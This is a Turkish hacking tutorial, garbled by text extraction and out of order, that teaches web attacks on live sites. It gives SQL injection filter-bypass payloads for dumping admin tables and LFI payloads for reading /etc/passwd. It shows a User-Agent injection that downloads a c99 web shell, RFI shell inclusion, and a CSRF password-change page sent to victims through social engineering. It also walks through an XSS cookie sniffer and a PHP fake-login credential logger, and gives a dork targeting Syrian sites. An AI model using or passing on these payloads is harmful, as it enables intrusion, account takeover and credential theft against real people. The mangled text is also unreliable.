Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 13: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

Hemen kuruluma geccediliyoruz

Editleyeceğimiz dosyalar ldquochjs ve indexhtml ilk olarak chjs dosyasını accedilıyoruz

httpSİTE ADRESİSniffersnifferphpc= Şeklinde bir yazıyla karşılaşıyoruz SİTE ADRESİ yazankısma dosyaları atacağımız sitenin adresini yazıyoruz(Sniffer dosyası adı altında)

httpbenimsitemcomSniffersnifferphpc= kaydedip kapatıyoruz

Şimdi ise indexhtml dosyamızı editleyeceğiz Notepad de accediltığınızda httpXSS ADRESİ= şeklindebir yazıyla karşılaşacağızXSS Adresi yazan kısma XSS Accedilığını bulduğumuz siteyi yazalım

httptargetcomindexphpid= yazdıktan sonra biraz sag tarafta bulunan httpSİTEADRESİSnifferchjs

SİTE ADRESİ yazan kısmada uumlstte olduğu gibi kendi sitemizin adini yazıyoruz

httpbenimsitemcomSnifferchjs yazdıkKaydedip kapatıyoruz

Daha sonra sniffer klasoumlruumlmuumlzuuml sitemize FTP aracılığıyla atıyoruzHemen kendi sitemizdeccedilalıştırıyoruz snifferımızı httpbenimsitemcomSnifferlogphp şeklinde log panelimizi ccedilağırıyoruzBu

adres cookielerin log olarak tutulacağı adresdirGiriş yaptığımızda bizden Kullanıcı adı şifreisteyecektirKullanıcı adı admin şifresi adminrsquodir

Girdikten sonra bizi log paneline aktaracaktırAccedilığı bulduğumuz siteden bir kurbana veya adminrsquoe linkitıklatmadığımız iccedilin Log panelinde ldquoHenuumlz Log bulunamadırdquo şeklinde bir yazı ccedilıkacaktır

Bizim adminrsquoe tıklatmamız gereken link indexhtml dosyasıdırYanihttpbenimsitemcomSnifferindexhtml lsquodirBuraya girdiğiniz de bir admin paneli gelecek

karşımızaBu admin panelini sahte bir admin panelidirYani adminrsquoin anlamaması iccedilin kurulmuş birpaneldirSizin yapacağınız sadece adminrsquoe veya kurbana httpbenimsitemcomSnifferindexhtml

linkini tıklatmaktırBiraz sosyal muumlhendislik gerekiyor burada tıklatmak iccedilinTıklattıktan sonra adminrsquoinveya kurbanın cookie bilgileri

httpbenimsitemcomSnifferlogphp adresine gelecektir

9-Sonuccedil (Elimize Geccedilen Cookie (Ccedilerez)rsquoi Değiştirme ve Hedef Veriye Ulaşmak)

Cookieleri ccedilektik Cookiersquoler elimizdeCookielerin son satırında Username ve Password kısmıbulunmaktadırYani şu şekilde

[Username]= admin UserİnfoCookie[Password]= mahserat

Evet goumlruumllduumlğuuml gibi kullanıcı adı admin şifresi de mahserat mışBu şekilde Adminin BilgilerinedeErişmiş olduk

10-Cross Site Scripting Accedilığı Olan Bir Siteye Fake Login Sayfası Bırakmak

Son olarak XSS Accedilığı bulduğumuz bir siteye Fake bir Login sayfası bırakacağız

Accedilığı bulduğumuz link wwwsitecomindexphpid= olduğunu farz edelimBuraya HTML kodlarıyla birLogin Kısmı oluşturucağız

wwwsitecomindexphpid= gtlthmtlgtltheadgtltmeta content=texthtmlcharset=ISO-8859-1http-equiv=content-type gtlttitlegtlttitlegtltheadgtltbOdygtltdiv style=text-aling

centergtltform method=POST action=fakesayfaphp name=formgtFake Login ltbrgtltbrgtKullanıcıadıltbrgtltinput type=text value= gtltbrgtSifreltbrgt ltinput name=Pass type=password

gtltbrgtltbrgtltinput name=valid value=Gonder type=submit gtltbrgtltformgtltdivgtltbOdygtlthtmlgt

Bu Şekilde bir HTML Kodu enjekte ettik siteyeFake bir Login kısmı uumlrettikfakesayfaphp dosyasınadikkat edelim arkadaşlar

fakesayfaphp

ltphp

$login = $_POST[rsquologinrsquo]

$password= $_POST[rsquoPasswordrsquo]

$open = fopen(rsquologhtmrsquo rsquoa+rsquo)

fputs($open rsquoLoginrsquo $login rsquoltbrgtrsquo rsquo

Password rsquo $password rsquoltbrgtrsquo rsquoltbrgtrsquo)

gt

fakesayfaphp dosyası loghtm dosyası oluşturuyorLoglarımızı tutuyor

Evet arkadaşlar artık XSS lsquoi ayrıntısına kadar oumlğrendiniz

SQL İnjection1- SQL İnjection Nedir

SQL (Structured Query Language)

SQL İnjection duumlnya uumlzerinde en ccedilok ilgi goumlrev Web Uygulama zaafiyetidirSitelerdeki SQLveritabanına odaklı bir saldırı ccedileşididirKaba tabirle SQL veritabanının ccedilalıştıracağı SQL komutlarıylaSQL İnjection zaafiyeti bulunan bir sitedeki veri geccedilişini kullanarak kendi mevfaatlerimiz ccedilerccedilevesindehedef veriyi ccedilalmak iccedilin kullanılır

2- SQL İnjectionrsquoun Mantığı Nedir

Deminde bahsettiğim gibi SQL Veritabanı odaklı bir zaafiyet olduğu iccedilin direk veritabanıyla ilgilisaldırılar yapılırYani bize gerekli olan biraz SQL Komutu bilmektirAkılda kalıcılık accedilısından komik biroumlrnek vereyim

Bir HEDİYE kutusu varO hediye kutusunun iccedilerisinde hediyenin olduğunu duumlşuumlnelimKutuyu accediltınızve baktınız ki iccedilerisinde bir kutu daha varOnu da accediltınız onun iccedilerisinde de bir kutu var onu da accediltıktansonra son kutumuza geliyoruzO kutunun iccedilerisinde hediye yani hedef verimiz mevcuttur )

İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz

3- Temel SQL Komutlarını Tanıyalım

SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız

SELECT - Veri seccedilmek iccedilin

CREATE - Tablo yaratmak iccedilin

INSERT - Tablo eklemesi yapmak iccedilin

UPDATE - Veri guumlncelleme

DELETE - Veri silmek

DROP - Tablo silmek

FROM - (- den - dan beri )

WHERE - Nereden neresi nerede

Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var

4- SQL İnjection ile Neler Yapılabilir

SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz

5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır

SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır

SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz

Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz

6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak

Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım

a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)

Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde

Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli

wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor

Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım

SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım

Oumlrnek bir SQL İnjection hatası

Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz

b-) Search Kutularında SQL İnject Accedilığı Aramak

Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız

Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz

c-) Kayıt Formlarında SQL İnject Accedilığı Aramak

Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz

Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız

d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak

Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım

Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş

Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu

e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak

Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)

Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz

ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız

7-Saldırı Anı(SQL Accedilığının Tespiti)

Bir Web Sayfası duumlşuumlnuumln

wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen

wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit

8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)

Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım

Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler

Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim

wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml

wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana

Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz

wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi

wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş

Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz

9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)

Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım

